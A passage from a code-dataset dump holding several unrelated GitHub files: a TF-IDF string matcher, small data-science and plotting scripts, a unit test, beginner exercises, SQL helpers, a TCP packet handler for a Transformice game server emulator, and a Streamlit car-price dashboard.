__init__(self,ngram_length=3):\n \"\"\"\n Initialize a Matcher instance\n\n Parameters\n ----------\n ngram_length : length of the n-grams to be considered for string matching\n\n Returns\n -------\n None\n \"\"\"\n self.ngram_length = ngram_length\n self.vectorizer = TfidfVectorizer(min_df=1, analyzer=self.ngrams)\n self.tfidf_matrix = None\n self.sequences = None\n\n def ngrams(self,string):\n \"\"\"\n Decomposes a string into its n-grams. Is used by the tf-idf vectorizer.\n\n Parameters\n ----------\n string : a string to be decomposed\n\n Returns\n -------\n A list of n-grams for the given string\n \"\"\"\n ngrams = zip(*[string[i:] for i in range(self.ngram_length)])\n return [''.join(ngram) for ngram in ngrams]\n \n def fit(self,sequences):\n \"\"\"\n Trains the string Matcher on a corpus of strings.\n\n Parameters\n ----------\n sequences : a list of strings against\n which future comparisons will be made.\n\n Returns\n -------\n None\n \"\"\"\n self.sequences = sequences\n self.tfidf_matrix = (self.vectorizer).fit_transform(sequences)\n\n def most_similar(self,string):\n \"\"\"\n Returns the best match to a given string \n\n Parameters\n ----------\n string : a string for which the Matcher will\n find the best match\n\n Returns\n -------\n match,score: match is the best matching string from\n the fitted sequences, and score is the\n cosine similarity of the input string\n to the best match.\n \"\"\"\n vect = (self.vectorizer).transform([string])\n cos_values = cosine_similarity(vect,self.tfidf_matrix)\n idx = np.argsort(-cos_values)[0,0]\n return (self.sequences[idx],cos_values[0,idx])\n \n def get_scores(self,string):\n \"\"\"\n Returns the similarity scores of a string with\n all the fitted sequences of the Matcher.\n\n Parameters\n ----------\n string : a string for which the Matcher will\n calculate the similarity scores.\n\n Returns\n -------\n A list of pairs (s,score), where 's' is\n one of the fitted string, and 'score' is the cosine\n similarity between the input 'string' and 's'\n \"\"\"\n vect = (self.vectorizer).transform([string])\n cos_values = cosine_similarity(vect,self.tfidf_matrix).squeeze().tolist()\n return list(zip(self.sequences,cos_values))\n \n def get_matcher_dict(self,corpus):\n \"\"\"\n Returns a dictionary mapping all elements in\n a corpus of strings to their best match. Takes\n advantage of fast vectorization to calculate\n multiple matches.\n\n Parameters\n ----------\n corpus : a list of strings for which the Matcher will\n calculate the best matches.\n\n Returns\n -------\n A dictionary, the keys of which are elements of the\n input corpus, the values of which are pairs (match,score),\n where match is the best matching string for the given\n key, and score is the cosine similarity between the key\n and the best match.\n \"\"\"\n corpus_vects = (self.vectorizer).transform(corpus)\n\n cos_values = cosine_similarity(corpus_vects,self.tfidf_matrix)\n the_dict={}\n for text,idx,score in zip(corpus,np.argmax(cos_values,axis=1),np.max(cos_values,axis=1)):\n the_dict[text] = (self.sequences[idx],score)\n \n return the_dict","repo_name":"AlexPof/ur3-comp","sub_path":"mayonnaise.py","file_name":"mayonnaise.py","file_ext":"py","file_size_in_byte":3944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"75206298383","text":"#Cypher\n#Indian Institute of Technology, Jodhpur\n# Importing necessary modules\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nN = 50 # The Total number of elements\n\n# Creating an array of values from 1 to N\nS = np.arange(1, N + 1)\n\n# Creating an array of values from 0.1 to 0.9 with 100 points\ntheta = np.linspace(0.1, 0.9, 100)\n\n# Performing Maximum Likelihood Estimation\n# Creating a grid of values for S and theta\nS_grid, theta_grid = np.meshgrid(S, theta)\n\n# Calculating the likelihood function values for each combination of S and theta\nL = S_grid * np.log(theta_grid) + (N - S_grid) * np.log(1 - theta_grid)\n\n# Creating a new figure\nfig = plt.figure()\n\n# Adding a 3D subplot to the figure\nax = fig.add_subplot(111, projection='3d')\n\n# Creating a surface plot using S_grid, theta_grid, and L\ns = ax.plot_surface(S_grid, theta_grid, L, cmap='jet')\n\n# Setting labels for the x, y, and z axes\nax.set_xlabel('S')\nax.set_ylabel('theta')\nax.set_zlabel('L(theta|S)')\n\n# Adjusting the view angle of the plot\nax.view_init(65, 15)\n\n# Saving the figure as an image file\nplt.savefig(\"./assets/stl.png\")\n","repo_name":"Cyphernk13/Machine-learning","sub_path":"iml-hands-on-submission-main/03-mle_python_surface_bd.py","file_name":"03-mle_python_surface_bd.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40844659877","text":"import unittest\n\nfrom minos.common import (\n DatabaseOperation,\n)\nfrom minos.plugins.aiopg import (\n AiopgDatabaseOperation,\n)\n\n\nclass TestAiopgDatabaseOperation(unittest.TestCase):\n def test_subclass(self) -> None:\n self.assertTrue(issubclass(AiopgDatabaseOperation, DatabaseOperation))\n\n def test_constructor(self):\n operation = AiopgDatabaseOperation(\"query\", {\"foo\": \"bar\"})\n self.assertEqual(\"query\", operation.query)\n self.assertEqual({\"foo\": \"bar\"}, operation.parameters)\n self.assertEqual(None, operation.timeout)\n self.assertEqual(None, operation.lock)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"minos-framework/minos-python","sub_path":"packages/plugins/minos-database-aiopg/tests/test_aiopg/test_operations.py","file_name":"test_operations.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"47"} +{"seq_id":"11450631686","text":"#Don't change the code below\nrow1 = [\"⬜️\",\"️⬜️\",\"️⬜️\"]\nrow2 = [\"⬜️\",\"⬜️\",\"️⬜️\"]\nrow3 = [\"⬜️️\",\"⬜️️\",\"⬜️️\"]\nmap = [row1, row2, row3]\nprint(f\"{row1}\\n{row2}\\n{row3}\")\nposition = input(\"Where do you want to put the treasure? \")\n#Don't change the code above\n\n#Write your code below this row\n#Cek position input index 0\ncolumn = int(position[0])\n\n#Cek position input index 1\nrow = int(position[1])\n\n#mapping column and row, and change with 'X'\nmap[row - 1][column - 1] = 'X'\n#Write your code above this row\n\n#Don't change the code below\nprint(f\"{row1}\\n{row2}\\n{row3}\")","repo_name":"kaharmz/100DayOfCodeInPython","sub_path":"day-4-end/treasure_map.py","file_name":"treasure_map.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"69966209103","text":"def slice_oven(oven):\r\n for i in range(1, len(oven)):\r\n if oven[i] > oven[i-1]:\r\n oven[i] = oven[i-1]\r\n\r\ndef stack_pizza(oven, pizza):\r\n z = 0\r\n for o in range(len(oven)-1, 0, -1):\r\n if z >= len(pizza):\r\n break\r\n if pizza[z] <= oven[o]:\r\n res = o + 1\r\n z += 1\r\n if z < len(pizza):\r\n res = 0\r\n return res\r\n\r\nD, N = map(int, input().split())\r\n\r\noven_stack = list(map(int, input().split()))\r\nslice_oven(oven_stack) #오븐을 깔때기 모양으로 바꾸기\r\npizza_size = list(map(int, input().split()))\r\n\r\nprint(stack_pizza(oven_stack, pizza_size))","repo_name":"IamJunhaHwang/Alkkagi_Algorithm_Studygroup","sub_path":"Lee_SeungDong/1756.py","file_name":"1756.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"33500306139","text":"from connecttodb import *\r\nfrom helper import *\r\n# get all records\r\ndef get_all(conn):\r\n # creating a cursor to perform a sql operation\r\n cursor = conn.cursor()\r\n # sql query\r\n query = '''SELECT * FROM employee;'''\r\n try:\r\n count = get_records_count(cursor)\r\n if count == 0:\r\n print('No data present in db')\r\n else:\r\n # execute the command\r\n cursor.execute(query)\r\n records = cursor.fetchall()\r\n print('EMPLOYEE INFORMATION')\r\n print('-------------------------------------')\r\n for record in records:\r\n full_name = record[1] + \" \" + record[2]\r\n print('Id = {}, Name = {}, Email = {}, Gender = {}, Phone = {}'.format(record[0], full_name,\r\n record[3], record[4], record[5]))\r\n except(Exception, Error) as error:\r\n print(error)\r\n finally:\r\n if conn is not None:\r\n cursor.close()\r\n conn.close()\r\n print('\\nConnection closed')\r\n# driver code\r\nif __name__ == '__main__':\r\n # connect to database and get all data\r\n get_all(connect('employee'))","repo_name":"dyutelegin/CRUD_Python","sub_path":"getall.py","file_name":"getall.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21234027334","text":"from D_A_T.UDI.read_smx_sheet.app_Lib import functions as funcs\nfrom D_A_T.UDI.read_smx_sheet.app_Lib import TransformDDL\nfrom D_A_T.UDI.read_smx_sheet.Logging_Decorator import Logging_decorator\nimport D_A_T.UDI.read_smx_sheet.testing_logging as test_logger\n\n@Logging_decorator\ndef duplicates_check(cf, source_output_path, table_mapping, core_tables,connect, script_connect_run):\n file_name = funcs.get_file_name(__file__)\n f = funcs.WriteFile(source_output_path, file_name, \"sql\")\n count = 0\n core_tables_list= TransformDDL.get_src_core_tbls(table_mapping)\n scripts_status = str(cf.scripts_status).lower()\n for src in cf.source_names:\n for table_name in core_tables_list:\n count = count+1\n core_table_pks = TransformDDL.get_trgt_pk(core_tables, table_name)\n dup_line = \"---DUP_Test_Case_\" + str(count) + \"---\"+'\\n'\n dup_test_case_exp_line1 = 'SEL ' + core_table_pks + ' FROM ' + cf.base_DB + '.' + table_name\n dup_test_case_exp_line2 = \" GROUP BY \"+ core_table_pks + ' HAVING COUNT(*)>1 ;'+'\\n'+'\\n'\n dup_test_case_exp_line3 = \"\"\n if src == \"Null\":\n dup_test_case_exp_line3 = \"\"\n else:\n dup_test_case_exp_line3 = ' WHERE' + cf.base_DB + '.' + table_name + \".PROCESS_NAME LIKE '%\" + src + \"%' \"\n\n\n script_to_be_sent = dup_test_case_exp_line1 + dup_test_case_exp_line3 + dup_test_case_exp_line2.replace(\"\\n\", \"\")\n if scripts_status == \"automated\" or scripts_status == \"all\":\n test_logger.insert_testing_logs(script_to_be_sent, table_name,\n \"\", \"DUPLICATE TEST\", dup_line, src,\n \"DUPLICATE_TEST\",\n cf.base_DB,cf,connect, script_connect_run)\n if scripts_status == \"generated\" or scripts_status == \"all\":\n f.write(dup_line + dup_test_case_exp_line1 + dup_test_case_exp_line3 + dup_test_case_exp_line2 )\n f.close()\n","repo_name":"marcEssam48/DataProfiling_TestingAutomation_Tool","sub_path":"D_A_T/UDI/read_smx_sheet/templates/DUP_TEST_SHEET.py","file_name":"DUP_TEST_SHEET.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1304842143","text":"import time\r\nimport threading\r\nfrom transformice import *\r\nfrom utils import logging\r\nfrom utils.languages import *\r\nfrom server.tcp.ByteArray import *\r\nfrom game.player.Player import *\r\nfrom server.managers.CaptchaManager import *\r\nfrom server.managers.TCPClientManager import *\r\nfrom server.managers.PlayersManager import *\r\n\r\nclass TCPClient(threading.Thread):\r\n\tdef __init__(self, socket, address):\r\n\t\tthreading.Thread.__init__(self)\r\n\t\tself.socket = socket\r\n\t\tself.address = address\r\n\t\tself.connected = False\r\n\t\tself.errors_count = 0\r\n\t\tself.timer = time.time()\r\n\t\tself.received_data = b\"\"\r\n\t\tself.packetid = 0\r\n\t\tself.player = None\r\n\r\n\tdef run(self):\r\n\t\tself.open()\r\n\t\tself.dataProcess()\r\n\r\n\tdef dataProcess(self):\r\n\t\twhile self.connected:\r\n\t\t\ttry:\r\n\t\t\t\tdata = self.socket.recv(8192)\r\n\t\t\texcept:\r\n\t\t\t\tif self.errors_count >= 3:\r\n\t\t\t\t\tself.close(\"The client {} ended the connection\".format(\r\n\t\t\t\t\t\tself.address)\r\n\t\t\t\t\t)\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t\tself.errors_count += 1\r\n\t\t\t\tcontinue\r\n\r\n\t\t\tif len(data) > 0:\r\n\t\t\t\tself.dataReceive(data)\r\n\r\n\t\tself.close()\r\n\r\n\tdef open(self):\r\n\t\tself.connected = True\r\n\r\n\t\tTCPClientManager.add(self)\r\n\r\n\tdef send(self, data, encode=False):\r\n\t\tif not self.connected:\r\n\t\t\treturn\r\n\r\n\t\tif not type(data) == bytes:\r\n\t\t\tdata = data.encode()\r\n\r\n\t\ttry:\r\n\t\t\tself.socket.sendall(self.encodeData(data) if encode else data)\r\n\r\n\t\t\tlogging.debug(\"{} - send packet data: {}\".format(\r\n\t\t\t\tself.address[0],\r\n\t\t\t\trepr(data)\r\n\t\t\t\t)\r\n\t\t\t)\r\n\t\texcept:\r\n\t\t\tif self.errors_count >= 3:\r\n\t\t\t\tself.close(\"The client {} ended the connection\".format(\r\n\t\t\t\t\tself.address[0]\r\n\t\t\t\t\t)\r\n\t\t\t\t)\r\n\r\n\t\t\tself.errors_count += 1\r\n\t\t\tself.send(data, encode)\r\n\r\n\tdef encodeData(self, data):\r\n\t\tbytearray_encode = ByteArray()\r\n\t\tdata_size = len(data)\r\n\t\tcalc = data_size >> 7\r\n\r\n\t\twhile calc != 0:\r\n\t\t\tbytearray_encode.writeByte(((data_size & 0x7F) | 0x80))\r\n\t\t\tdata_size = calc\r\n\t\t\tcalc = (calc >> 7)\r\n\r\n\t\tbytearray_encode.writeByte(data_size & 0x7F)\r\n\t\tbytearray_encode.writeBytes(data)\r\n\t\treturn bytearray_encode.toByteArray()\r\n\r\n\tdef close(self, reason=\"\"):\r\n\t\tif not self.connected:\r\n\t\t\treturn\r\n\r\n\t\tif self.player != None and self.player.logged:\r\n\t\t\tPlayersManager.delete(self.player)\r\n\r\n\t\tself.connected = False\r\n\r\n\t\tself.socket.close()\r\n\r\n\t\tTCPClientManager.delete(self)\r\n\r\n\t\tif reason != \"\":\r\n\t\t\tlogging.debug(\"The client connection {} has been closed ({}).\".format(\r\n\t\t\t\tself.address[0],\r\n\t\t\t\treason\r\n\t\t\t\t)\r\n\t\t\t)\r\n\t\telse:\r\n\t\t\tlogging.debug(\"The client connection {} has been closed.\".format(\r\n\t\t\t\tself.address[0]\r\n\t\t\t\t)\r\n\t\t\t)\r\n\r\n\tdef dataReceive(self, data):\r\n\t\tself.received_data += data\r\n\r\n\t\tif len(self.received_data) < 1:\r\n\t\t\treturn\r\n\t\telif self.received_data == b\"\\x00\":\r\n\t\t\tself.received_data = b\"\"\r\n\t\t\tself.send(b\"\")\r\n\t\t\tself.close()\r\n\t\telse:\r\n\t\t\tbytearray = ByteArray(self.received_data)\r\n\r\n\t\t\tx = 0\r\n\t\t\tlength = 0\r\n\r\n\t\t\tbyte1 = (bytearray.readUnsignedByte() & 0xFF)\r\n\t\t\tlength = (length | ((byte1 & 0x7F) << (x * 7)))\r\n\t\t\tx += 1\r\n\t\t\t\r\n\t\t\twhile (byte1 & 128) == 128 and x < 5:\r\n\t\t\t\tif not bytearray.bytesAvailable():\r\n\t\t\t\t\treturn\r\n\t\t\t\tbyte1 = (bytearray.readUnsignedByte() & 0xFF)\r\n\t\t\t\tlength = (length | ((byte1 & 0x7F) << (x * 7)))\r\n\t\t\t\tx += 1\r\n\r\n\t\t\tlength += 1\r\n\r\n\t\t\tif length == 0:\r\n\t\t\t\tself.received_data = b\"\"\r\n\t\t\telif length == bytearray.length():\r\n\t\t\t\tself.packetProcess(bytearray.readBytes(length))\r\n\t\t\t\tself.received_data = bytearray.toByteArray()\r\n\t\t\telif length > bytearray.length():\r\n\t\t\t\tself.packetProcess(bytearray.readBytes(length))\r\n\t\t\t\tself.received_data = bytearray.toByteArray()\r\n\r\n\t\t\t\tif bytearray.length() > 1:\r\n\t\t\t\t\tself.dataReceive(b\"\")\r\n\t\t\telse:\r\n\t\t\t\tself.received_data = self.received_data\r\n\r\n\tdef packetProcess(self, data):\r\n\t\tbytearray = ByteArray(data)\r\n\r\n\t\tpacketid = bytearray.readByte()\r\n\r\n\t\t#if packetid != self.packetid:\r\n\t\t#\treturn\r\n\r\n\t\tself.packetid = (self.packetid + 1) % 100\r\n\r\n\t\tpacketcode1 = bytearray.readUnsignedByte()\r\n\t\tpacketcode2 = bytearray.readUnsignedByte()\r\n\r\n\t\tself.timer = time.time()\r\n\r\n\t\tlogging.debug(\"{} - receive packet code: {} - {}, data {}\".format(\r\n\t\t\tself.address[0],\r\n\t\t\tpacketcode1,\r\n\t\t\tpacketcode2,\r\n\t\t\trepr(bytearray.toByteArray())\r\n\t\t\t)\r\n\t\t)\r\n\r\n\t\tif packetcode1 == 8:\r\n\t\t\tif packetcode2 == 2:\r\n\t\t\t\t# community\r\n\t\t\t\tid = bytearray.readByte()\r\n\t\t\t\tgo = bytearray.readByte()\r\n\r\n\t\t\t\tfind_result = languages.find_by_id(id)\r\n\r\n\t\t\t\tif find_result != None:\r\n\t\t\t\t\tself.player.community[\"id\"] = id\r\n\t\t\t\t\tself.player.community[\"str\"] = find_result;\r\n\t\t\t\t\t\r\n\t\t\t\t\tlogging.debug(\"{} -> community -> {}\".format(\r\n\t\t\t\t\t\tself.address[0],\r\n\t\t\t\t\t\tfind_result\r\n\t\t\t\t\t\t)\r\n\t\t\t\t\t)\r\n\t\t\t\treturn\r\n\r\n\t\telif packetcode1 == 26:\r\n\t\t\tif packetcode2 == 8:\r\n\t\t\t\tif self.player != None and self.player.logged:\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t\t# auth login\r\n\t\t\t\tnickname = bytearray.readUTF().capitalize()\r\n\t\t\t\tsha256 = bytearray.readUTF()\r\n\t\t\t\turl = bytearray.readUTF()\r\n\t\t\t\troom = bytearray.readUTF()\r\n\t\t\t\txor = bytearray.readInt()\r\n\t\t\t\tdata_key = bytearray.readByte()\r\n\r\n\t\t\t\tif len(nickname) == 0 or len(sha256) == 0:\r\n\t\t\t\t\tself.player.identification(nickname)\r\n\t\t\t\t\tself.player.join_room(room)\r\n\r\n\t\t\telif packetcode2 == 20:\r\n\t\t\t\tif self.player != None and self.player.logged:\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t\tself.player.captcha = CaptchaManager.captcha()\r\n\r\n\t\t\t\tprint(self.player.captcha)\r\n\t\t\t\treturn\r\n\t\t\t\t\r\n\t\telif packetcode1 == 28:\r\n\t\t\tif packetcode2 == 1:\r\n\t\t\t\tif self.player != None and self.player.logged:\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t\t# handshake\r\n\t\t\t\tversion = bytearray.readShort()\r\n\t\t\t\tkey = bytearray.readUTF()\r\n\t\t\t\tstandType = bytearray.readUTF()\r\n\t\t\t\ttraceI = bytearray.readUTF()\r\n\t\t\t\tintTyp = bytearray.readInt()\r\n\t\t\t\tstrV = bytearray.readUTF()\r\n\t\t\t\tserver_string = bytearray.readUTF()\r\n\t\t\t\twindow = bytearray.readUTF()\r\n\t\t\t\tt = bytearray.readInt()\r\n\t\t\t\ty = bytearray.readInt()\r\n\t\t\t\tstring = bytearray.readUTF()\r\n\r\n\t\t\t\tif version != Transformice.version():\r\n\t\t\t\t\tself.close()\r\n\t\t\t\telif key != Transformice.key():\r\n\t\t\t\t\tself.close()\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.player = Player(self)\r\n\t\t\t\t\tself.player.version = version\r\n\t\t\t\t\tself.player.key = key\r\n\t\t\t\t\tself.player.connection_time = Transformice.time()\r\n\r\n\t\t\t\t\tPlayersManager.add(self.player)\r\n\r\n\t\t\t\t\tlogging.debug(\"The connection to the game requested by {} has been accepted.\".format(\r\n\t\t\t\t\t\tself.address[0]\r\n\t\t\t\t\t\t)\r\n\t\t\t\t\t)\r\n\r\n\t\t\t\t\tself.send(ByteArray().writeUnsignedByte(26).writeUnsignedByte(3).writeInt(0).writeUTF(\"pt\").writeUTF(\"pt\").writeInt(0).writeBoolean(False).toByteArray(), True)\r\n\t\t\t\t\tself.send(ByteArray().writeUnsignedByte(20).writeUnsignedByte(4).writeBytes(b'\\x00\\x00').toByteArray(), True)\r\n\t\t\t\t\tself.send(ByteArray().writeUnsignedByte(16).writeUnsignedByte(9).writeBytes(b'\\x014\\x01\\x00').toByteArray(), True)\r\n\r\n\t\t\t\treturn\r\n\r\n\t\t\telif packetcode2 == 17:\r\n\t\t\t\tif self.player.logged:\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t\tlanguage = bytearray.readUTF()\r\n\t\t\t\tsystem = bytearray.readUTF()\r\n\t\t\t\tversion = bytearray.readUTF()\r\n\t\t\t\tpod = bytearray.readByte()\r\n\t\t\t\treturn","repo_name":"ob3cker/Transformice-Server","sub_path":"server/tcp/TCPClient.py","file_name":"TCPClient.py","file_ext":"py","file_size_in_byte":6939,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"70080577422","text":"import sys\r\r\ninput = sys.stdin.readline\r\r\ndef dfs(node):\r\r\n curr.append((a[node],node))\r\r\n for v in graph[node]:\r\r\n if not vis[v]:\r\r\n vis[v] = True\r\r\n dfs(v) \r\r\nfor _ in range(int(input())):\r\r\n n, m = map(int,input().split())\r\r\n a = list(map(int,input().split()))\r\r\n p = list(map(int,input().split()))\r\r\n graph = [[] for i in range(n)]\r\r\n for i in p:\r\r\n i-=1\r\r\n graph[i+1].append(i)\r\r\n graph[i].append(i+1)\r\r\n vis = [False]*n\r\r\n new = [0]*n\r\r\n for i in range(n):\r\r\n if vis[i]:continue\r\r\n vis[i] = True\r\r\n curr = []\r\r\n dfs(i)\r\r\n curr.sort()\r\r\n pos = []\r\r\n for _,b in curr:\r\r\n pos.append(b)\r\r\n pos.sort()\r\r\n for i in range(len(curr)):\r\r\n new[pos[i]] = curr[i][0]\r\r\n if new == sorted(a):print('YES')\r\r\n else:print('NO')\r\r\n","repo_name":"bobxiong88/Competitive-Programming-Solutions","sub_path":"Codeforces/1311B.py","file_name":"1311B.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25004979478","text":"import os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\n\n\ndef show(img, fig, title):\n # plt.imshow(Image.fromarray(np.uint8(a), 'RGB'))\n # Image.fromarray(np.uint8(a), 'RGB').show(name)\n plt.imsave(title +\".png\", np.uint8(img))\n fig.imshow(Image.fromarray(np.uint8(img), 'RGB'))\n fig.set_title(title)\n fig.axis(\"off\")\n\n\ndef Retinex(img, sig):\n return np.log10(img) - np.log10(cv2.GaussianBlur(img, (0, 0), sig)) # 전체에 대한 가우시\n\ndef Convert255(img, mode):\n\n if mode == \"org\":\n return (img - np.min(img)) / (np.max(img) - np.min(img)) * 255\n elif mode ==\"CR\":\n G = 192\n b = 30\n return G * (img/255+b)\n\n\nif __name__ == '__main__':\n img_dir = \"./example\"\n for i in range(1,3):\n img_name_L = \"{}_L.ppm\".format(i)\n img_name_R = \"{}_R.ppm\".format(i)\n # orgimg = Image.open(os.path.join(img_dir, img_name)) # w, h, c\n orgimg_L = cv2.imread(os.path.join(img_dir, img_name_L), cv2.IMREAD_GRAYSCALE) # CV_8UC1\n orgimg_R = cv2.imread(os.path.join(img_dir, img_name_R), cv2.IMREAD_GRAYSCALE)\n\n BM = cv2.StereoBM_create(numDisparities=64, blockSize=25) # numDisparities -> 16배 수, blocksize -> odd\n SGBM = cv2.StereoSGBM_create(numDisparities=64, blockSize=25)\n\n disparity_BM = BM.compute(orgimg_L, orgimg_R)\n disparity_SGBM = SGBM.compute(orgimg_L, orgimg_R)\n\n plt.figure(figsize=(10, 6))\n plt.subplot(221)\n plt.imshow(orgimg_L, cmap=\"gray\")\n plt.title(\"org L\")\n\n plt.subplot(222)\n plt.imshow(orgimg_R, cmap=\"gray\")\n plt.title(\"org R\")\n\n plt.subplot(223)\n plt.imshow(disparity_BM, cmap=\"gray\")\n plt.title(\"disparity BM\")\n\n plt.subplot(224)\n plt.imshow(disparity_SGBM, cmap=\"gray\")\n plt.title(\"disparity SGBM\")\n\n plt.show()\n # plt.savefig(\"{}.png\".format(i))\n","repo_name":"plat320/Homeworks_Grad","sub_path":"Camera_Display/SGBM/SGBM.py","file_name":"SGBM.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14922146773","text":"import streamlit as st\nimport pickle\nimport altair as alt\n\nst.set_page_config(layout=\"wide\") # centered, wide\n\n@st.cache(allow_output_mutation=True)\ndef load(data_path):\n data = pickle.load(open(data_path, 'rb'))\n return data\n\ndata = load(\"dataset.pickle\")\n# data = load(\"/Users/vasiliskalyvas/Documents/GitHub/streamlit/dataset.pickle\")\n\n\nst.title(\"Key insights from the data\")\n\n\nst.write('----------------------------------------------------------------------------------------------------------------')\n\n\n# Plot 1\ndf1 = data['manufacturer_name'].value_counts().rename_axis('Manufacturer').reset_index(name='Counts').head(28)\ndf1_plot = alt.Chart(df1).mark_bar().encode(\n x=alt.X('Manufacturer', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Manufacturer','Counts']\n).properties(width=500,height=200, title='Count by Manufacturer')#.interactive()\n\n# Plot 2\ndf2 = data['model_name'].value_counts().rename_axis('Model').reset_index(name='Counts').head(28)\ndf2_plot = alt.Chart(df2).mark_bar().encode(\n x=alt.X('Model', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Model','Counts']\n).properties(width=500,height=200, title='Count by Model')#.interactive()\n\nst.altair_chart(alt.hconcat(df1_plot, df2_plot))\n\n# Plot 3\ndf3 = data.groupby(by='manufacturer_name')['price_usd'].median().reset_index(name=\"Median Price\").sort_values('Median Price', ascending=False).reset_index(drop=True).rename(columns={\"manufacturer_name\": \"Manufacturer\"}).head(28)\ndf3_plot = alt.Chart(df3).mark_bar().encode(\n x=alt.X('Manufacturer', sort='-y', title=None),\n y=alt.Y('Median Price', title=None),\n tooltip=['Manufacturer','Median Price']\n).properties(width=500,height=200, title='Median Price by Manufacturer')#.interactive()\n\n# Plot 4\ndf4 = data.groupby(by='model_name')['price_usd'].median().reset_index(name=\"Median Price\").sort_values('Median Price', ascending=False).reset_index(drop=True).rename(columns={\"model_name\": \"Model\"}).head(28)\ndf4_plot = alt.Chart(df4).mark_bar().encode(\n x=alt.X('Model', sort='-y', title=None),\n y=alt.Y('Median Price', title=None),\n tooltip=['Model','Median Price']\n).properties(width=500,height=200, title='Median Price by Model')#.interactive()\n\nst.altair_chart(alt.hconcat(df3_plot, df4_plot))\n\n\nst.write('----------------------------------------------------------------------------------------------------------------')\n\n\n# Plot 5 - top 10 Brands by count\ntop_10_brands_in_count = list(data.groupby(by='manufacturer_name').size().reset_index(name=\"counts\").sort_values('counts', ascending=False).head(10)['manufacturer_name'])\ndf5 = data[data['manufacturer_name'].isin(top_10_brands_in_count)][['manufacturer_name','price_usd']]\n\ndf5_plot = alt.Chart(df5).mark_boxplot(extent='min-max').encode(\n x=alt.X('manufacturer_name', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance for Top 10 Manufacturers (by count)')\n\n# Plot 6 - top 10 Brands by median price\ntop_10_brands_in_median_price = list(data.groupby(by='manufacturer_name')['price_usd'].median().reset_index(name=\"median_price\").sort_values('median_price', ascending=False).head(10)['manufacturer_name'])\ndf6 = data[data['manufacturer_name'].isin(top_10_brands_in_median_price)][['manufacturer_name','price_usd']]\n\ndf6_plot = alt.Chart(df6).mark_boxplot(extent='min-max').encode(\n x=alt.X('manufacturer_name', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance for Top 10 Manufacturers (by median price)')\n\nst.altair_chart(alt.hconcat(df5_plot, df6_plot))\n\n# Plot 7 - top 10 Models by count\ntop_10_models_in_count = list(data.groupby(by='model_name').size().reset_index(name=\"counts\").sort_values('counts', ascending=False).head(10)['model_name'])\ndf7 = data[data['model_name'].isin(top_10_models_in_count)][['model_name','price_usd']]\n\ndf7_plot = alt.Chart(df7).mark_boxplot(extent='min-max').encode(\n x=alt.X('model_name', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance for Top 10 Models (by count)')\n\n# Plot 8 - top 10 Models by median price\ntop_10_models_in_median_price = list(data.groupby(by='model_name')['price_usd'].median().reset_index(name=\"median_price\").sort_values('median_price', ascending=False).head(10)['model_name'])\ndf8 = data[data['model_name'].isin(top_10_models_in_median_price)][['model_name','price_usd']]\n\ndf8_plot = alt.Chart(df8).mark_boxplot(extent='min-max').encode(\n x=alt.X('model_name', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance for Top 10 Models (by median price)')\n\nst.altair_chart(alt.hconcat(df7_plot, df8_plot))\n\nst.markdown(\"\"\"\n #### The above plots show that:\n most **popular** cars (either in terms of manufacturer or model) tend to be more **stable in their price ranges**.\n \"\"\")\n\n\nst.write('----------------------------------------------------------------------------------------------------------------')\n\n\n# Plot the categorical variables, both on their own (on the left) and against price (on the right):\n\n# Plots - Transmission\ndf9 = data['transmission'].value_counts().rename_axis('Transmission').reset_index(name='Counts')\ndf9_plot = alt.Chart(df9).mark_bar().encode(\n x=alt.X('Transmission', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Transmission','Counts']\n).properties(width=500,height=200, title='Count by Transmission')#.interactive()\n\ndf10_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('transmission', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Transmission')\n\nst.altair_chart(alt.hconcat(df9_plot, df10_plot))\n\n# Plots - Engine Fuel\ndf11 = data['engine_fuel'].value_counts().rename_axis('Engine Fuel').reset_index(name='Counts')\ndf11_plot = alt.Chart(df11).mark_bar().encode(\n x=alt.X('Engine Fuel', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Engine Fuel','Counts']\n).properties(width=500,height=200, title='Count by Engine 